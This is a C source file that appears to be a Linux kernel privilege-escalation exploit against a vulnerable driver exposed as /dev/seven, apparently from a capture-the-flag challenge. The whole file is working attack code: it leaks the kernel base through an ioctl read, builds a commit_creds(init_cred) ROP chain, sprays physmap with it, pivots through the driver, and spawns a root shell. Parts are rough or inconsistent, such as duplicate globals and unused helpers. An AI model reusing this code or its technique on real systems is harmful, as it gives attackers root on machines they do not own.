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// =-=-=-=-=-=-=-= INCLUDE =-=-=-=-=-=-=-=
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>
#include "banzi.h"
// =-=-=-=-=-=-=-= DEFINE =-=-=-=-=-=-=-=
#define GLOBAL_MMAP_ADDR ((char *)(0x12340000))
#define GLOBAL_MMAP_LENGTH (0x2000)
char *buf_buf = (char*)GLOBAL_MMAP_ADDR;
unsigned long user_cs, user_ss, user_eflags, user_sp, user_ip;
size_t commit_creds = 0x0bb5b0 + 0;
size_t init_cred = 0x1a4cbf8 + 0;
size_t pop_rdi_ret = 0x002c9d + 0;
size_t pop_rax_ret = 0x04e368 + 0;
size_t pop_rsp_ret = 0x2af92f + 0;
size_t swapgs_restore_regs_and_return_to_usermode = 0x1000f01+ 0;
size_t add_rsp_0x18_pop_rbx_pop_rbp_ret = 0x18be788 + 0;
size_t ret = 0x00038d + 0;
struct typ_cmd {
uint64_t addr;
uint64_t val;
};
int vuln_fd,vuln_fd1;
pid_t child;
pid_t trigger;
int sync_pipe[2][2];
// =-=-=-=-=-=-=-= FUNCTION =-=-=-=-=-=-=-=
void get_shell() {
int uid;
if (!(uid = getuid())) {
logi("root get!!");
execl("/bin/sh", "sh", NULL);
} else {
die("gain root failed, uid: %d", uid);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void bind_cpu(int cpu_idx) {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(cpu_idx, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
die("sched_setaffinity: %m");
}
}
#define DR_OFFSET(num) ((void *)(&((struct user *)0)->u_debugreg[num]))
void create_hbp(pid_t pid, void *addr) {
logi("create_hbp");
// Set DR0: HBP address
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) != 0) {
die("create hbp ptrace dr0: %m");
}
/* Set DR7: bit 0 enables DR0 breakpoint. Bit 8 ensures the processor stops
* on the instruction which causes the exception. bits 16,17 means we stop
* on data read or write. */
unsigned long dr_7 = (1 << 0) | (1 << 8) | (1 << 16) | (1 << 17);
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), (void *)dr_7) != 0) {
die("create hbp ptrace dr7: %m");
}
}
void arb_write(int fd, uint64_t addr, uint64_t val) {
// struct typ_cmd cmd = {addr, val};
ioctl(fd,0x7201,addr);
for(int i = 0;i < 0x40;i++){
ioctl(fd,0x7202,1);
ioctl(fd,0x7202,2);
}
ioctl(fd,0x7203,0);
ioctl(fd,0x7203,1);
ioctl(fd,0x7203,2);
ioctl(fd,0x7204,val);
}
long long arb_read(int fd, uint64_t addr) {
long long ret_content = ioctl(fd,0x5555,addr);
return ret_content;
}
void do_init() {
logd("do init ...");
saveStatus();
vuln_fd = open("/dev/seven", O_RDONLY);
// vuln_fd1 = open("/dev/seven", O_RDONLY);
if (vuln_fd < 0) {
die("open vuln_fd: %m");
}
// global mmap
void *p = mmap(GLOBAL_MMAP_ADDR, GLOBAL_MMAP_LENGTH, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (p == MAP_FAILED) {
die("mmap: %m");
}
if (pipe(sync_pipe[0])) {
die("pipe: %m");
}
if (pipe(sync_pipe[1])) {
die("pipe: %m");
}
}
size_t *physmap_spray_arr[16000];
size_t page_size;
size_t try_hit;
int dev_fd;
uint64_t prepare_kernel_cred = 0;
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void constructROPChain(size_t *rop,uint64_t kernel_base)
{
size_t commit_creds = 0x0bb5b0 + kernel_base;
size_t init_cred = 0x1a4cbf8 + kernel_base;
size_t pop_rdi_ret = 0x002c9d + kernel_base;
size_t pop_rax_ret = 0x04e368 + kernel_base;
size_t pop_rsp_ret = 0x2af92f + kernel_base;
size_t swapgs_restore_regs_and_return_to_usermode = 0x1000f01+ kernel_base;
size_t add_rsp_0x18_pop_rbx_pop_rbp_ret = 0x18be788 + kernel_base;
size_t ret = 0x00038d + kernel_base;
int idx = 0;
raise(SIGSTOP);
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;
// rop chain
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = (size_t) getRootShell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
uint64_t shell_addr = &getRootShell;
void fn_child(uint64_t kernel_base) {
char *name_buf = (char *)GLOBAL_MMAP_ADDR;
memset(GLOBAL_MMAP_ADDR, 0, GLOBAL_MMAP_LENGTH);
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != 0) {
die("ptrace PTRACE_TRACEME: %m");
}
raise(SIGSTOP);
commit_creds = 0x0bb5b0 + kernel_base;
init_cred = 0x1a4cbf8 + kernel_base;
pop_rdi_ret = 0x002c9d + kernel_base;
pop_rax_ret = 0x04e368 + kernel_base;
pop_rsp_ret = 0x2af92f + kernel_base;
swapgs_restore_regs_and_return_to_usermode = 0x1000f01+ kernel_base;
add_rsp_0x18_pop_rbx_pop_rbp_ret = 0x18be788 + kernel_base;
ret = 0x00038d + kernel_base;
logi("init_cred: %llx",init_cred);
logi("init_cred: %llx",pop_rdi_ret);
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0;"
"mov rbx, 0;"
"mov r11, shell_addr;"
"mov r10, user_cs;"
"mov r9, user_rflags;"
"mov r8, user_sp;"
"mov rax,user_ss;"
"mov rcx,0;"
"mov rdx, 0;"
"mov rsi, 0;"
"mov rdi, 0x12340000;"
"mov rsi, [rdi];"
);
// uname(name_buf);
// *name_buf = 1;
return 0;
}
void fn_trigger() {
logd("trigger: bind trigger to other cpu, e.g. cpu-1");
bind_cpu(0);
logd("trigger: modify rcx in cpu-0's `cpu_entry_area` DB_STACK infinitely");
#define CPU_0_cpu_entry_area_DB_STACK_rcx_loc (0xfffffe0000010fd8)
#define OOB_SIZE(x) (x / 8)
arb_read(vuln_fd,CPU_0_cpu_entry_area_DB_STACK_rcx_loc);
}
int Open(char *fname, int mode) {
int fd;
if ((fd = open(fname, mode)) < 0) {
perror("open");
exit(-1);
}
return fd;
}
// unsigned long pageOffsetBase = 0xffff888000000000;
// void get_pfn(){
// void *pg;
// unsigned long pginfo = 0xcccccccc;
// pg = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// if (pg == MAP_FAILED) {
// perror("mmap");
// exit(-1);
// }
// int fd = Open("/proc/self/pagemap", O_RDWR);
// if (lseek(fd, ((off_t)pg >> 12) * sizeof(pginfo), SEEK_SET) < 0) {
// perror("lseek");
// exit(-1);
// }
// if (read(fd, &pginfo, sizeof(pginfo)) < 0) {
// perror("read");
// exit(-1);
// }
// unsigned long pfn = pginfo & 0x7fffffffffffff;
// unsigned long synonym = (pfn << 12) + pageOffsetBase;
// printf("[*] PFN: %lx\n", pfn);
// printf("[*] synonym is at: %p\n", (void *)synonym);
// }
int main(void) {
do_init();
uint64_t kernel_base = arb_read(vuln_fd,0xfffffe0000002f50);
kernel_base = kernel_base - 0x1000b49;
logi("%llx",kernel_base);
page_size = 0x1000;
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
constructROPChain(physmap_spray_arr[0],kernel_base);
printf("%llx\n",physmap_spray_arr[0]);
puts("[*] Spraying physmap...");
for (int i = 1; i < 10000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i])
errExit("oom for physmap spray!");
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
hexdump(physmap_spray_arr[0],0x1000);
puts("[*] trigger physmap one_gadget...");
// get_pfn();
try_hit = 0xffff888000000000 + 0x200000;
ioctl(vuln_fd,0x6666,try_hit);
}
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